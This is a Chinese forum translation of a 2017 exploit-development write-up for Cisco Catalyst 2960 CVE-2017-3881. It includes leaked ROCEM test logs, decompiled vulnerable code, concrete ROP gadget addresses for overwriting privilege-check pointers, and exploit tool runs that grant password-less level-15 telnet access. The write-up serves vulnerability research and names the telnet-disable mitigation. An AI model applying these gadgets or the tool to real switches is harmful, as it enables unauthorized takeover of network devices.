首页
社区
课程
招聘
[翻译]思科Catalyst交换机 RCE 漏洞利用证明(CVE-2017-3881)
2017-4-13 15:05 5989

[翻译]思科Catalyst交换机 RCE 漏洞利用证明(CVE-2017-3881)

2017-4-13 15:05
5989

思科Catalyst交换机 RCE 漏洞利用证明(CVE-2017-3881)


你依然允许你的Catalyst交换机使用telnet吗?三思啊,朋友,这篇文章是思科具备最新建议固件版本的Catalyst 2960交换机的远程代码执行利用(RCE)的证明。完整利用代码在这里。接下来的内容是对2017年3月7日CIA泄漏的漏洞利用开发过程的详细说明,并由思科于2017年3月17日公开披露。在本篇文章写作之时尚无可用的补丁。尽管如此,还有一个补救办法 - 禁用telnet并使用SSH。

CIA Vault7 文件泄漏

CIA的一系列文件于2017年3月7日被泄露并且被发布在WikiLeaks。在其他的发布版本中有一个有趣的预验证代码执行漏洞影响了多个类型的思科交换机。该漏洞在泄漏的文档中的代号为ROCEM。虽然提到的技术细节很少,但是有几点却脱颖而出。

Vault 7文档揭示了实际漏洞利用的测试过程。此次泄露中并没有出现漏洞利用的源代码。这里突出显示了两个用例:该工具可以以交互模式或设置模式启动。交互模式通过telnet发送有效载荷,并在相同的telnet连接的上下文中立即向攻击者提供命令shell。[文档引用]:

Started ROCEM interactive session - successful:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin
****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Interactive
****************************************
Proceed? (y/n)y
Trying 127.0.0.1...
[*] Attempting connection to host 192.168.0.254:23
Connected to 127.0.0.1.
Escape character is '^]'.
[+] Connection established
[*] Starting interactive session
User Access Verification
Password:
MLS-Sth#

MLS-Sth# show priv
Current privilege level is 15
MLS-Sth#show users
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.221.40
Interface User Mode Idle Peer Address
MLS-Sth#exit
Connection closed by foreign host.

设置模式。修改交换机的内存以此来完成后续的无密码telnet连接。[文档引用]:

Test set/unset feature of ROCEM
DUT configured with target configuration and network setup
DUT is accessed by hopping through three flux nodes as per the CONOP
Reloaded DUT to start with a clean device
From Adverse ICON machine, set ROCEM:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin

****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Set
****************************************

Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem#

Verified I could telnet and rx priv 15 without creds:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.

MLS-Sth#

MLS-Sth#show priv
Current privilege level is 15
MLS-Sth#

在研究此漏洞时,有一项对我有用的信息,就是telnet调试输出,[文档引用]:

14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output 
  1.Enabled debug telnet on DUT
  2.Set ROCEM
  3.Observed the following:
    000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused)
    000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32)
    000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
    000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33)
    000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34)
    000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented)
    000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)
    000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented)
    000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
    000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented)
    000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
    000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35)
    000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)
    000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29
    000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X
    000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap

请注意最后一行的通过telnet服务接收的CISCO_KITS选项。这被证明是一个重要的字符串。

思科的相关报告

思科于2017年3月17日披露了其交换机中存在的漏洞。该披露基于Vault 7中的文档:

Cisco IOS和Cisco IOS XE软件中的思科集群管理协议(CMP)处理代码中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的设备,或者以提升的权限远程执行代码。

撰写本文时没有提供太多细节,但下列内容除外:

集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。 这个漏洞是由于两个因素的结合:

  • 无法将CMP特定的Telnet选项限制在集群成员之间的内部本地通信,而是通过任何与受影响设备的Telnet连接来接受和处理此类选项,
  • 错误处理畸形的特定CMP Telnet选项。

长话短说,漏洞允许攻击者利用telnet服务在目标交换机上获得远程代码执行权限。但是想要更好的利用该报告,我需要更多的信息。所以我决定深挖一下思科集群管理协议。

交换机集群

正好,我有两台Catalyst 2960交换机来研究该漏洞。集群管理协议设置了交换机之间的主从关系。主交换机可以在从属交换机上获得命令行shell的权限。正如思科在报告中提到的,telnet被用作集群成员之间的命令协议。有关群集的信息可以在这里找到,设置集群环境的例子在这里

现在来查看一下集群之间的通信。以下是主交换机的配置:

cluster enable CLGRP 0
cluster member 1 mac-address xxxx.xxxx.xxxx

该配置将会将附近的一个交换机作为从属机。rcommand <num>允许从主接口的从设备上获取命令接口。正如预期的设计。

catalyst1>rcommand 1
catalyst2>who
    Line       User       Host(s)              Idle       Location
*  1 vty 0                idle                 00:00:00 10.10.10.10

  Interface      User        Mode                     Idle     Peer Address

我们来看看rcommand生成的流量:

见鬼了,该死的telnet流量呢?报告中明明清楚的写了啊:

集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。

好吧,先运行一下show version来查看一下更多的信息:

catalyst2>show version
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)

啊哈,Telnet流量实际上被封装在 Layer 2 LLC数据包中。如果看的足够仔细的话,我们将在源和目的地字段中注意到碎片化的MAC地址内的IP数据包。在这些“IP”数据包之内,存在具有telnet会话的有效TCP帧。

telnet会话通常在协商telnet选项之前。 其中包括:终端大小,终端类型等。请查看RFC了解更多信息。

在提交欢迎catalyst2>消息之前,一个有趣的telnet选项被传输到服务器端:

在这里,你可以看到从主交换机发送到从交换机的telnet选项“CISCO_KITS”。在执行利用期间,这和Vault 7文档中出现字符串几乎相同。是时候深入来看看交换机内部了。

获取固件

固件被存储在交换机中的flash:<version>.bin。

catalyst2#dir flash:
Directory of flash:/

    2  -rwx     9771282   Mar 1 1993 00:13:28 +00:00  c2960-lanbasek9-mz.122-55.SE1.bin
    3  -rwx        2487   Mar 1 1993 00:01:53 +00:00  config.text

内置的ftp客户端允许将此固件传输到任意ftp服务器。妥了,现在要用binwalk分析和提取文件的内容:

$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
112           0x70            bzip2 compressed data, block size = 900k

为了方便对所得到的二进制数进行静态分析,我们最好知道固件加载偏移。在引导过程中,该偏移将打印到串行控制台:

Loading "flash:c2960-lanbasek9-mz.122-55.SE1.bin"...@@@@@@@@@@@@@@@@@@@@@@
File "flash:c2960-lanbasek9-mz.122-55.SE1.bin" uncompressed and installed,
entry point: 0x3000
executing...

启动IDA,嘀嘀嘀,开车了!CPU架构是PowerPC 32-bit BigEndian。在0x3000处加载bin:

查找字符串

还记得在之前捕获的集群流量中的CISCO_KITS字符串吗?这将会是我的起点了。在IDA中探索了大多数函数之后,我已经可以看见固件中对该字符串的交叉引用了。

“CISCO_KITS”被return_cisco_kits函数引用,该函数仅仅是返回了char*。我们的着重点将会放在调用了return_cisco_kits0x0004ED8C处的call_cisco_kits上。

因为telnet代码对于客户端和服务器而言是相当对称的,我们实际上可以看到发送到服务器端的缓冲区的格式-%c%s%c%d:%s:%d:。这实际上符合发送缓冲区\x03CISCO_KITS\x012::1:的观测流量

if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string
{
    if ( telnet_struct->is_client_mode == 1 )
    {
      cisco_kits_string_2 = (char *)return_cisco_kits();
      int_two = return_2();
      tty_str = get_from_tty_struct((telnet_struct *)telnet_struct_arg->tty_struct);
      *(_DWORD *)&telnet_struct_arg->tty_struct[1].field_6D1;
      format1_ret = format_1(
                               128,
                               (int)&str_buf[8],
                               "%c%s%c%d:%s:%d:",
                               3,
                               cisco_kits_string_2,
                               1,
                               int_two,
                               tty_str,
                               0);
      telnet_struct = (telnet_struct *)telnet_send_sb(
                                         (int)telnet_struct_arg,
                                         36,
                                         0,
                                         &str_buf[8],
                                         format1_ret,
                                         v8,
                                         v7,
                                         v6);
    }
}

注意到什么了没?有两个%s格式符,但是实际上在流量样本中只有存在一个CISCO_KITS字符串,第二个是空的并且被限制在另个:之间。进一步观察相似功能的控制流程,注意到一些在处理第二个字符串时有趣的行为(这部分代码是服务器的部分):

for ( j = (unsigned __int8)*string_buffer; j != ':'; j = (unsigned __int8)*string_buffer )// put data before second ":" at &str_buf + 152
{
    str_buf[v19++ + 152] = j;
    ++string_buffer;
}

我们在第二个%s字符串中发送的数据实际上被复制直到:,并且没有检查目标缓冲区驻留在堆栈上的边界。这看起来像什么?没错,缓冲区溢出!

执行代码

获取指令指针的控制很容易,因为它已被我发送的缓冲区(顺便说一句,我使用IOIDE调试)覆盖。问题在于堆和栈(驻留在堆中)没有执行权限。我敢打赌,这实际上是启用数据和指令缓存的效果。以下是Felix Lindner在BlackHat 2009上的演示文稿

使用ROP杀出一条血路

由于没有办法在堆栈上执行代码,所以我不得不将其用作数据缓冲区并重新使用固件中的现有代码。思路是将一系列函数的末尾有意义地链起来以执行任意内存写入。但是,等等,要写些什么?看看对0x00F47A34处函数的反编译:

if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) )
{
  telnet_struct_var = tty_struct_var->telnet_struct_field;
  ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483]);
  privilege_level = ptr_get_privilege_level(telnet_struct_var);// equals to 1 during rcommand 1
  telnet_struct_1 = tty_struct_var->telnet_struct_field;
  ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]);
  ptr_telnet_related2(telnet_struct_1);
  *(_DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *(_DWORD *)&tty_struct_var->privilege_level_field & 0xFFFFFFF) & 0xFF7FFFFF;
}
else
{
  //generic telnet session
}

有趣的事情发生了。首先需要强调的是ptr_is_cluster_modeptr_get_privilege_level 这两个调用是直接引用的全局变量。看下0x00F47B60处-is_cluster_mode函数地址从0x1F24A7处加载。类似的,get_privilege_level 的地址从0xF47B8C处的r3处加载。此刻,r3是一个已经对地址0x022659D4 + 0x28 + 0xC处取消引用的指针。

如果ptr_is_cluster_mode 调用返回非0值并且ptr_get_privilege调用返回非-1的值那么我们将被提供一个telnet shell,而不需要提供任何凭据。变量privilege_level正在进一步的被检查:

如果我可以覆盖这些函数指针使其指向总是返回所需要的正值会发生什么呢?由于栈和堆都不能直接执行,我不得不重新使用已经存在的代码来完成这样的内存写入功能。下边的ROP部件就是我使用的:

0x000037b4: 
    lwz r0, 0x14(r1)
    mtlr r0
    lwz r30, 8(r1)
    lwz r31, 0xc(r1)
    addi r1, r1, 0x10 
    blr

is_cluster_mode 函数地址载入r30,加载值将该指针覆盖到r31中。覆盖的值是始终返回1的函数的地址:

0x00dffbe8: 
    stw r31, 0x34(r30)
    lwz r0, 0x14(r1)
    mtlr r0
    lmw r30, 8(r1)
    addi r1, r1, 0x10
    blr

执行写入:

0x0006788c: 
    lwz r9, 8(r1)
    lwz r3, 0x2c(r9)
    lwz r0, 0x14(r1)
    mtlr r0
    addi r1, r1, 0x10
    blr
0x006ba128: 
    lwz r31, 8(r1)
    lwz r30, 0xc(r1)
    addi r1, r1, 0x10
    lwz r0, 4(r1)
    mtlr r0
    blr

上边的两个部件将get_privilege_level 的函数指针加载到r3,并且将值覆盖到r31中。目标值是一个返回15的函数地址(其实可以2次都使用这个函数)。

0x0148e560: 
    stw r31, 0(r3)
    lwz r0, 0x14(r1)
    mtlr r0
    lwz r31, 0xc(r1)
    addi r1, r1, 0x10
    blr

这个函数结尾部分执行最终写入并返回到合法的执行流程。当然了,应该构造好栈帧以便ROP链起作用。查看漏洞利用源代码,可以看看该链按照预期工作的实际堆栈布局。

执行exploit

在一天结束的时候,我完成了一个工具,能够patch负责无连接和权限级别的函数指针。请注意,漏洞利用代码严重依赖于交换机上使用的固件版本。对某些不同的固件使用漏洞代码最可能会使设备崩溃。

我从旧的固件SE1的静态和动态分析来获取相关信息,然后在最新的建议固件12.2(55)SE11上构建漏洞。固件版本之间的所有区别是不同的函数和指针偏移。此外,漏洞利用的方式可以轻松地将更改还原。 例:

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
catalyst1#show ver
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3)
...

System image file is "flash:c2960-lanbasek9-mz.122-55.SE11.bin"

...

cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory.
...
Model number                    : WS-C2960-48TT-L
...

Switch Ports Model              SW Version            SW Image                 
------ ----- -----              ----------            ----------               
*    1 50    WS-C2960-48TT-L    12.2(55)SE11          C2960-LANBASEK9-M        


Configuration register is 0xF

取消相关设置:

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f\r\ncatalyst1#'
[+] Sending cluster option
[+] Unsetting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Escape character is '^]'.


User Access Verification

Password:

这个针对两个版本的RCE POC可以从这里获取。  利用代码的DoS版本可以在metasploit module中获取,它可能适用于Cisco报告中提到的大多数型号。




原文链接:https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/

本文由看雪翻译小组zplusplus翻译


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回